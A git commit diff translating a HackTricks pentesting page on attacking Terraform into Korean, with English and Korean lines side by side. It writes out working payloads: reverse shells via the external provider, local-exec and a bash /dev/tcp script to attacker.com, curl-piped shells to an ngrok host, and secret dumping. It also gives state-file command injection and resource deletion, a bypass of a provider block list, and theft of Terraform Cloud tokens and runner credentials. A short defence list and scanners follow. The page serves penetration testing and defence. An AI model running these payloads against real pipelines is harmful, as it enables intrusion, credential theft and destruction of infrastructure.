Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to ko

This commit is contained in:
Translator
2025-11-17 15:47:48 +00:00
parent 7c25baa1e4
commit d547b72bcf

View File

@@ -1,68 +1,68 @@
# Terraform Security
# Terraform 보안
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
[From the docs:](https://developer.hashicorp.com/terraform/intro)
[문서에서:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform은 **코드로서의 인프라 도구**로, 인간이 읽을 수 있는 구성 파일에서 **클라우드 및 온프레미스 리소스**를 정의할 수 있게 해니다. 이러한 파일은 버전 관리, 재사용 및 공유가 가능합니다. 그런 다음 일관된 워크플로를 사용하여 인프라의 전체 수명 주기 동안 모든 인프라를 프로비저닝하고 관리할 수 있습니다. Terraform은 컴퓨팅, 스토리지 및 네트워킹 리소스와 같은 저수준 구성 요소뿐만 아니라 DNS 항목 및 SaaS 기능 같은 고수준 구성 요소 관리할 수 있습니다.
HashiCorp Terraform은 사람이 읽을 수 있는 구성 파일에서 클라우드 및 온프레미스 리소스를 정의할 수 있게 해주는 인프라를 코드로 관리하는 도구입니다. 이러한 구성 파일은 버전 관리, 재사용 및 공유가 가능하며, 일관된 워크플로를 사용 인프라의 전체 수명주기 동안 프로비저닝 관리를 수행할 수 있습니다. Terraform은 compute, storage, networking 같은 저수준 구성요소뿐만 아니라 DNS 엔트리나 SaaS 기능 같은 고수준 구성요소 관리할 수 있습니다.
#### Terraform은 어떻게 동하나요?
#### Terraform은 어떻게 동하나요?
Terraform은 클라우드 플랫폼 및 기타 서비스에서 리소스를 생성하고 관리하기 위해 애플리케이션 프로그래밍 인터페이스 (API)를 사용합니다. 공급자는 Terraform이 접근 가능한 API가 있는 거의 모든 플랫폼이나 서비스와 작할 수 있도록 합니다.
Terraform은 클라우드 플랫폼 및 기타 서비스의 API를 통해 리소스를 생성하고 관리합니다. Providers는 Terraform이 접근 가능한 API를 가진 거의 모든 플랫폼이나 서비스와 작할 수 있 합니다.
![](<../images/image (177).png>)
HashiCorp와 Terraform 커뮤니티는 이미 **1700개 이상의 공급자**를 작성하여 수천 가지 유형의 리소스와 서비스를 관리하고 있으며,숫자는 계속 증가하고 있습니다. 모든 공개 공급자는 [Terraform Registry](https://registry.terraform.io/)에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등 포함됩니다.
HashiCorp와 Terraform 커뮤니티는 이미 수천 종류의 리소스와 서비스를 관리하기 위해 **1700개 이상의 providers**를 작성했으며 이 는 계속 증가하고 있습니다. 모든 공개적으로 이용 가능한 providers는 [Terraform Registry](https://registry.terraform.io/)에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등 수많은 서비스가 포함됩니다.
Terraform의 핵심 워크플로는 세 가지 단계로 구성됩니다:
핵심 Terraform 워크플로는 세 단계로 구성됩니다:
- **작성:** 여러 클라우드 공급자 및 서비스에 걸쳐 리소스를 정의합니다. 예를 들어, 보안 그룹과 로드 밸런서가 있는 가상 사설 클라우드 (VPC) 네트워크의 가상 머신 애플리케이션을 배포하는 구성을 만들 수 있습니다.
- **계획:** Terraform은 기존 인프라와 구성에 따라 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 생성합니다.
- **적용:** 승인이 이루어지면 Terraform은 리소스 종속성을 존중하며 올바른 순서로 제안된 작업을 수행합니다. 예를 들어, VPC의 속성을 업데이트하고 해당 VPC의 가상 머신 수를 변경하면 Terraform은 가상 머신을 확장하기 전에 VPC를 재생성합니다.
- **Write:** 여러 클라우드 제공자와 서비스를 가로지르는 리소스를 정의합니다. 예를 들어 VPC 네트워크의 가상머신들에 보안 그룹과 로드밸런서를 포함해 애플리케이션을 배포하는 구성을 만들 수 있습니다.
- **Plan:** Terraform은 기존 인프라와 구성에 기초해 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 만듭니다.
- **Apply:** 승인면 Terraform은 리소스 종속성을 고려해 제안된 작업을 올바른 순서로 수행합니다. 예를 들어 VPC의 속성을 업데이트하고 해당 VPC의 가상머신 수를 변경하면, Terraform은 가상머신을 스케일하기 전에 VPC를 재생성합니다.
![](<../images/image (215).png>)
### Terraform Lab
컴퓨터에 terraform을 설치하세요.
컴퓨터에 terraform을 설치하면 됩니다.
여기 [가이드](https://learn.hashicorp.com/tutorials/terraform/install-cli)가 있으며, 여기에서 terraform을 다운로드하는 [최고의 방법](https://www.terraform.io/downloads)을 확인할 수 있습니다.
설치 가이드는 [guide]에 있고 terraform을 다운로드하는 가장 좋은 방법은 [best way to download terraform]에 있습니다.
## Terraform의 RCE: 구성 파일 오염
## RCE in Terraform: config file poisoning
Terraform은 **웹 페이지나 네트워크 서비스를 노출하는 플랫폼이 없습니다**. 따라서 Terraform을 타협할 수 있는 유일한 방법은 **Terraform 구성 파일을 추가/수정할 수 있거나** **Terraform 상태 파일을 수정할 수 있는 것**입니다 (아래 참조).
Terraform은 페이지나 네트워크 서비스를 노출하는 플랫폼이 아니므로 열거할 수 있는 방식이 없습니다. 따라서 Terraform을 타깃으로 삼기 위한 유일한 방법은 **terraform 구성 파일을 추가/수정할 수 있는 권한**을 갖거나, **terraform state 파일을 수정할 수 있는 권한**을 갖는 것입니다(아래 챕터 참조).
그러나 Terraform은 **타협하기 매우 민감한 구성 요소**입니다. 왜냐하면 다양한 위치에 **특권 액세스** 가지기 때문에 제대로 작동할 수 있습니다.
그러나 terraform은 제대로 동작하기 위해 다양한 위치에 대한 **권한이 높은 접근 권한** 가지므로 타깃으로 삼기에 매우 민감한 구성 요소입니다.
공격자가 Terraform이 실행되는 시스템을 타협할 수 있는 주요 방법은 **Terraform 구성을 저장하는 리포지토리를 타협하는 것**입니다. 왜냐하면 언젠가는 이들이 **해석될 것이기 때문입니다**.
공격자가 terraform이 실행되는 시스템을 손상시키는 주요 방법은 결국 구성 파일이 어느 시점에서든 **해석(interpreted)** 될 것이기 때문에 **terraform 구성을 저장하는 리포지토리**를 탈취하는 것입니다.
실제로 PR이 생성된 후 **Terraform plan/apply를 자동으로 실행하는** 솔루션이 존재합니다. 예를 들어 **Atlantis**가 있습니다:
실제로 PR이 생성된 후 자동으로 terraform plan/apply를 실행하는 솔루션들(예: Atlantis)이 존재합니다:
{{#ref}}
atlantis-security.md
{{#endref}}
Terraform 파일을 타협할 수 있다면, 누군가 `terraform plan` 또는 `terraform apply`를 실행할 때 RCE를 수행할 수 있는 다양한 방법이 있습니다.
terraform 파일을 탈취할 수 있다면 누군가 `terraform plan` 또는 `terraform apply`를 실행할 때 RCE를 수행할 수 있는 여러 가지 방법이 있습니다.
### Terraform plan
Terraform plan은 Terraform에서 **가장 많이 사용되는 명령**이며, Terraform을 사용하는 개발자/솔루션은 이를 항상 호출합니다. 따라서 **RCE를 얻는 가장 쉬운 방법**은 `terraform plan`에서 임의의 명령을 실행할 수 있는 Terraform 구성 파일을 오염시키는 것입니다.
Terraform plan은 terraform에서 **가장 많이 사용되는 명령**이며 개발자나 terraform을 사용하는 솔루션은 이를 항상 호출합니다. 따라서 **가장 쉬운 RCE 방법**은 `terraform plan` 임의의 명령을 실행하도록 terraform 구성 파일을 오염시키는 것입니다.
**외부 공급자 사용**
**Using an external provider**
Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 [`external` 공급자](https://registry.terraform.io/providers/hashicorp/external/latest/docs)를 제공합니다. `external` 데이터 소스를 사용하 `plan` 중에 임의의 코드를 실행할 수 있습니다.
Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs)를 제공합니다. `external` data source를 사용하 `plan` 중에 임의의 코드를 실행할 수 있습니다.
Terraform 구성 파일에 다음과 같은 내용을 주입하면 `terraform plan`을 실행할 때 rev shell이 실행됩니다:
terraform 구성 파일에 다음과 같은 내용을 주입하면 `terraform plan`을 실행할 때 rev shell이 실행됩니다:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**사용자 정의 제공자 사용하기**
**커스텀 provider 사용**
공격자는 [Terraform Registry](https://registry.terraform.io/)에 [사용자 정의 제공자](https://learn.hashicorp.com/tutorials/terraform/provider-setup)를 전송한 다음 기능 브랜치의 Terraform 코드에 추가할 수 있습니다 ([여기서 예시](https://alex.kaskaso.li/post/terraform-plan-rce)):
공격자는 [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup)을 [Terraform Registry](https://registry.terraform.io/)에 제출한 다음 feature branch의 Terraform 코드에 추가할 수 있습니다 ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -75,28 +75,28 @@ version = "1.0"
provider "evil" {}
```
제공자`init`에서 다운로드되며 `plan`이 실행될 때 악성 코드를 실행합니다.
프로바이더`init`에서 다운로드되며 `plan`이 실행될 때 악성 코드를 실행합니다
예제는 [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)에서 확인할 수 있습니다.
예제는 [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)에서 확인할 수 있습니다
**외부 참조 사용하기**
**외부 참조 사용**
언급 가지 옵션은 유용하지만 그리 은밀하지 않습니다(두 번째 옵션은 더 은밀하지만 첫 번째보다 더 복잡합니다). 다음 제안을 따르면 **더 은밀한 방법**으로 이 공격을 수행할 수 있습니다:
위에서 언급 두 옵션은 유용하지만 그다지 stealthy하지 않습니다(두 번째가 더 stealthy하지만 첫 번째보다 더 복잡합니다). 다음 제안을 따르면 이 공격을 더 **stealthier way**로 수행할 수 있습니다:
- terraform 파일에 rev shell을 직접 추가하는 대신, rev shell을 포함하는 **외부 리소스**를 로드할 수 있습니다:
- terraform 파일에 rev shell을 직접 추가하는 대신, rev shell을 포함하는 **외부 리소스 로드**를 사용할 수 있습니다:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
rev shell code [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)에서 찾을 수 있습니다.
- 외부 리소스에서 **ref** 기능을 사용하여 리포지토리 내의 **브랜치에 있는 terraform rev shell 코드**를 숨길 수 있습니다. 예를 들어: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- 외부 리소스에서 **ref** 기능을 사용 리포지토리 브랜치에 있는 **terraform rev shell code in a branch**를 숨기세요. 예: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply는 모든 변경 사항을 적용하기 위해 실행됩니다. 또한 **악성 Terraform 파일을 주입하여** RCE를 얻기 위해 악용할 수 있습니다 [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 하면 됩니다:
Terraform apply는 모든 변경사항을 적용하기 위해 실행됩니다. 또한 이를 악용해 RCE를 얻기 위해 **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
다음과 같은 페이로드가 `main.tf` 파일의 끝에 위치하도록 하면 됩니다:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
이 공격을 **더 은밀한 방법으로 외부 참조를 사용하여 수행하기 위해** 이전 기술의 **제안**을 따르십시오.
**이전 기법의 권장 사항**을 따르고 이 공격을 **외부 참조를 사용하여 더 은밀하게 수행**하세요.
## Secrets Dumps
`terraform apply`를 실행하여 **terraform에서 사용되는 비밀 값 덤프**하려면 terraform 파일에 다음과 같은 내용을 추가하십시오:
다음과 같이 terraform 파일에 항목을 추가하면 `terraform apply`를 실행할 때 **terraform에서 사용되는 비밀 값들이 덤프되도록 할 수 있습니다**:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
## Terraform 상태 파일 악용
## Terraform State Files 악용
terraform 상태 파일에 대한 쓰기 권한이 있지만 terraform 코드를 변경할 수 없는 경우, [**이 연구**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)는 파일을 활용할 수 있는 흥미로운 옵션을 제공합니다. 구성 파일에 대한 쓰기 권한이 있더라도, 상태 파일의 벡터를 사용하는 것이 종종 더 교묘합니다. 왜냐하면 `git` 기록에 흔적을 남기지 않기 때문입니다.
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
### Terraform에서의 RCE: 구성 파일 오염
### RCE in Terraform: config file poisoning
[사용자 정의 제공자](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)를 [생성하는 것이 가능하며](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) 악성 제공자로 terraform 상태 파일의 제공자 중 하나를 교체하거나 악성 제공자를 참조하는 가짜 리소스를 추가할 수 있습니다.
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
제공자 [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)는 이 연구를 기반으로 하여 이 원리를 무기화합니다. 가짜 리소스를 추가하고 `command` 속성에 실행하고 싶은 임의의 bash 명령을 명시할 수 있습니다. `terraform` 실행이 트리거되면, 이는 `terraform plan` `terraform apply` 단계에서 읽히고 실행됩니다. `terraform apply` 단계의 경우, `terraform`은 명령을 실행한 후 상태 파일에서 가짜 리소스를 삭제하여 스스로 정리합니다. 더 많은 정보와 전체 데모는 [이 제공자의 소스 코드를 호스팅하는 GitHub 리포지토리](https://github.com/offensive-actions/terraform-provider-statefile-rce)에서 확인할 수 있습니다.
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
직접 사용하려면, `resources` 배열의 아무 위치에 다음을 포함하고 `name` `command` 속성을 사용자 정의하십시오:
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
```json
{
"mode": "managed",
@@ -152,15 +152,15 @@ terraform 상태 파일에 대한 쓰기 권한이 있지만 terraform 코드를
]
}
```
그런 다음 `terraform`이 실행되면 코드가 실행됩니다.
Then, as soon as `terraform` gets executed, your code will run.
### 리소스 삭제 <a href="#deleting-resources" id="deleting-resources"></a>
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
리소스를 삭제하는 방법은 2가지가 있습니다:
1. **실제 삭제할 리소스를 가리키는 임의의 이름으로 리소스를 상태 파일에 삽입하기**
1. **상태 파일(state file)에 무작위 이름의 리소스를 삽입하고 삭제하려는 실제 리소스를 가리키게 하는 방법**
terraform 해당 리소스가 존재하지 않아야 한다고 판단하여 이를 삭제합니다(지정된 실제 리소스 ID를 따릅니다). 이전 페이지의 예:
`terraform` 해당 리소스가 존재하면 안 된다고 판단하면, 지정된 실제 리소스 ID를 따라 해당 리소스를 파괴합니다(지정된 실제 리소스 ID를 따). 이전 페이지의 예:
```json
{
"mode": "managed",
@@ -176,13 +176,13 @@ terraform은 해당 리소스가 존재하지 않아야 한다고 판단하여
]
},
```
2. **리소스를 수정하여 업데이트할 수 없도록 삭제하도록 만듭니다 (그래서 삭제되고 재생성됩니다)**
2. **업데이트가 불가능하도록 리소스를 수정해 삭제 재생성되게 하기**
EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 terraform이 삭제하고 재생성하도록 만들 수 있습니다.
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
### 블랙리스트에 있는 프로바이더 교체
### 블랙리스트 프로바이더 교체
`hashicorp/external`이 블랙리스트에 있는 상황에 직면한 경우, 다음과 같이 `external` 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에 게시된 external 프로바이더의 포크를 사용합니다. 귀하의 포크 또는 재구현을 게시할 수도 있습니다.
만약 `hashicorp/external`이 블랙리스트에 올라 있는 상황이 발생하면, 다음과 같이 `external` 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에 게시된 external provider의 포크를 사용합니다. 직접 포크나 재구현을 게시할 수도 있습니다.
```terraform
terraform {
required_providers {
@@ -193,7 +193,7 @@ version = "3.0.0"
}
}
```
럼 정상적으로 `external`을 사용할 수 있습니다.
런 다음 평소와 같이 `external`을 사용할 수 있습니다.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
@@ -201,19 +201,19 @@ program = ["sh", "-c", "whoami"]
```
## Terraform Cloud speculative plan RCE and credential exfiltration
이 시나리오는 Terraform Cloud (TFC) 러너를 악용하여 목표 클라우드 계정으로 피벗하는 것입니다.
이 시나리오는 Terraform Cloud (TFC) runners를 speculative plans 동안 악용하여 대상 클라우드 계정으로 피벗니다.
- 전제 조건:
- 개발자 머신에서 Terraform Cloud 토큰을 훔칩니다. CLI는 `~/.terraform.d/credentials.tfrc.json` 평문으로 토큰을 저장합니다.
- 토큰은 목표 조직/작업 공간에 접근할 수 있어야 하며 최소한 `plan` 권한 있어야 합니다. VCS 기반 작업 공간은 CLI에서 `apply`를 차단하지만 여전히 투기적 계획을 허용합니다.
- Preconditions:
- 개발자 머신에서 Terraform Cloud 토큰을 탈취합니다. CLI는 토큰을 평문으로 `~/.terraform.d/credentials.tfrc.json`에 저장합니다.
- 토큰은 대상 organization/workspace에 접근 권한이 있으며 최소한 `plan` 권한을 가지고 있어야 합니다. VCS-backed workspaces는 CLI에서 `apply`를 차단하지만, 여전히 speculative plans를 허용합니다.
- TFC API를 통해 작업 공간 및 VCS 설정을 발견합니다:
- TFC API를 통해 workspace 및 VCS 설정을 확인합니다:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- 외부 데이터 소스를 사용하고 Terraform Cloud "cloud" 블록을 통해 VCS 기반 작업 공간을 대상으로 하여 추측 계획 중에 코드 실행을 트리거합니다:
- speculative plan 중에 external data source와 Terraform Cloud "cloud" block을 사용하여 VCS-backed workspace를 대상으로 code execution을 트리거합니다:
```hcl
terraform {
cloud {
@@ -226,30 +226,30 @@ data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
TFC 러너에서 리버스 셸을 얻기 위한 예 rsync.sh:
TFC runner에서 reverse shell을 얻기 위한 예 rsync.sh:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
일시적인 러너에서 프로그램을 실행하기 위한 추측 계획을 실행합니다:
프로그램을 ephemeral runner에서 실행하기 위한 예비 계획을 수행하세요:
```bash
terraform init
terraform plan
```
- 실행 중 TFC는 파일과 환경 변수를 통해 공급자 자격 증명을 주입합니다. 실행기에서 주입된 클라우드 자격 증명을 열거하고 유출합니다.
- runner에서 주입된 cloud credentials을 enumerate하고 exfiltrate합니다. 실행 중 TFC는 provider credentials를 files 및 environment variables를 통해 주입합니다:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
러너 작업 디렉리에서 예상되는 파일:
러너 작업 디렉리에서 예상되는 파일:
- GCP:
- `tfc-google-application-credentials` (워크로드 아이덴티티 연합 JSON 구성)
- `tfc-gcp-token` (단기 GCP 액세스 토큰)
- `tfc-google-application-credentials` (Workload Identity Federation JSON 구성)
- `tfc-gcp-token` (단기간 유효한 GCP 액세스 토큰)
- AWS:
- `tfc-aws-shared-config` (웹 아이덴티티/OIDC 역할 가정 구성)
- `tfc-aws-token` (단기 토큰; 일부 조직은 정적 키를 사용할 수 있음)
- `tfc-aws-shared-config` (web identity/OIDC 역할 전환 구성)
- `tfc-aws-token` (단기간 유효한 토큰; 일부 조직은 정적 키를 사용할 수 있음)
- VCS 게이트를 우회하기 위해 단기 자격 증명을 비공식적으로 사용하십시오:
- 단기 자격 증명을 out-of-band 방식으로 사용하여 VCS 게이트를 우회:
GCP (gcloud):
```bash
@@ -263,28 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
이 자격 증명을 사용하여 공격자는 VCS를 통해 `apply`를 차단하는 PR 기반 워크플로를 우회하여 네이티브 CLI를 사용하여 리소스를 직접 생성/수정/삭제할 수 있습니다.
러한 자격 증명을 통해 공격자는 네이티브 CLI를 사용해 리소스를 직접 생성/수정/삭제할 수 있으며, VCS를 통해 `apply`를 차단하는 PR 기반 워크플로를 우회할 수 있습니다.
- 방어 지침:
- TFC 사용자/팀 토큰에 최소 권한을 적용합니다. 구성원을 감사하고 과도한 소유자를 피하십시오.
- 가능한 경우 민감한 VCS 기반 작업 공간에서 `plan` 권한을 제한합니다.
- Sentinel 정책을 사용하여 `data "external"` 또는 알 수 없는 공급자를 차단하는 공급자/데이터 소스 허용 목록을 시행합니다. 공급자 필터링에 한 HashiCorp 지침을 참조하십시오.
- 정적 클라우드 자격 증명보다 OIDC/WIF를 선호합니다. 러너를 민감한 것으로 취급하십시오. 추측 계획 실행 및 예상치 못한 외부 트래픽을 모니터링합니다.
- `tfc-*` 자격 증명 아티팩트의 유출을 지하고 계획 중 의심스러운 `external` 프로그램 사용에 대해 경고합니다.
- TFC 사용자/팀 토큰에 최소 권한을 적용하세요. 멤버십을 감사하고 과도한 소유자 권한을 피하세요.
- 가능한 경우 민감한 VCS 기반 워크스페이스에서 `plan` 권한을 제한하세요.
- Sentinel 정책으로 provider/data source 허용 목록을 시행하여 `data "external"` 또는 알려지지 않은 providers를 차단하세요. provider 필터링에 한 HashiCorp 지침을 참조하세요.
- 정적 클라우드 자격 증명보다 OIDC/WIF를 선호하세요; runners를 민감 자산으로 취급하세요. 추측적 plan 실행 및 예상치 못한 아웃바운드 트래픽(egress)을 모니터링하세요.
- plan 실행 중 `tfc-*` 자격 증명 아티팩트의 유출을 지하고 의심스러운 `external` 프로그램 사용에 대해 경고를 생성하세요.
## 자동 감사 도구
## Terraform Cloud 침해
### 토큰 사용
**[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)** 에서 설명한 것처럼, terraform CLI는 토큰을 평문으로 **`~/.terraform.d/credentials.tfrc.json`**에 저장합니다. 이 토큰을 탈취하면 공격자는 토큰의 범위 내에서 해당 사용자를 가장할 수 있습니다.
이 토큰을 사용하면 다음과 같이 org/workspace 정보를 얻을 수 있습니다:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
그럼 이전 장에서 설명한 것처럼 **`terraform plan`**을 사용해 임의의 코드를 실행할 수 있다.
### 클라우드로 빠져나가기
만약 runner가 어떤 클라우드 환경에 위치해 있다면, runner에 연결된 principal의 토큰을 획득하여 외부에서 사용할 수 있다.
- **GCP files (현재 실행 작업 디렉터리에 존재)**
- `tfc-google-application-credentials` — 외부 아이덴티티를 교환하는 방법을 Google에 알려주는 Workload Identity Federation(WIF)용 JSON 구성.
- `tfc-gcp-token` — 위에서 참조된 단기(≈1 hour) GCP 액세스 토큰.
- **AWS files**
- `tfc-aws-shared-config` — web identity federation/OIDC role assumption을 위한 JSON (정적 키보다 권장됨).
- `tfc-aws-token` — 단기 토큰, 또는 잘못 구성된 경우 정적 IAM 키일 수 있음.
## Automatic Audit Tools
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk는 Terraform, CloudFormation, Kubernetes 및 기타 IaC 형식의 취약점 잘못된 구성을 지하는 포괄적인 Infrastructure as Code (IaC) 스 솔루션을 제공합니다.
Snyk는 Terraform, CloudFormation, Kubernetes 및 기타 IaC 포맷의 취약점 잘못된 구성을 지하는 포괄적인 Infrastructure as Code (IaC) 스캐닝 솔루션을 제공다.
- **기능:**
- 보안 취약점 및 규정 준수 문제에 대한 실시간 스.
- 보안 취약점 및 규정 준수 문제에 대한 실시간 스캐닝.
- 버전 관리 시스템(GitHub, GitLab, Bitbucket)과의 통합.
- 자동 수정 풀 요청.
- 상세한 수정 조언.
- **가입:** [Snyk](https://snyk.io/)에서 계정을 만드십시오.
- 자동 수정 pull requests.
- 상세한 수정 권고.
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
@@ -293,28 +319,28 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov**는 코드로서의 인프라(IaC)를 위한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다.
**Checkov**는 인프라스트럭처 코드(IaC)에 대한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다.
도구는 [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 또는 [OpenTofu](https://opentofu.org/)를 사용하여 프로비저닝된 클라우드 인프라를 스캔하 그래프 기반 스캔을 통해 보안 및 컴플라이언스 잘못 구성된 사항을 감지합니다.
이는 [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), 또는 [OpenTofu](https://opentofu.org/) 프로비저닝된 클라우드 인프라를 스캔하 그래프 기반 스캐닝으로 보안 및 컴플라이언스 구성 오류를 탐지합니다.
도구는 오픈 소스 패키지 및 이미지에 대한 일반 취약점 및 노출(CVEs)을 스캔하는 [소프트웨어 구성 분석(SCA) 스캔](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)을 수행니다.
는 [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)을 수행하며, 이는 오픈 소스 패키지와 이미지에 대한 Common Vulnerabilities and Exposures (CVEs) 검색을 위한 스캔입니다.
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`는 인프라스트럭처-코드에 대한 부정 테스트 기능을 활성화하기 위해 terraform에 대한 경량의 보안 및 준수 중심 테스트 프레임워크니다.
다음 [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` terraform에 대한 경량의 보안 및 규정준수 중심 테스트 프레임워크로, infrastructure-as-code에 대해 네거티브 테스트 기능을 제공합니다.
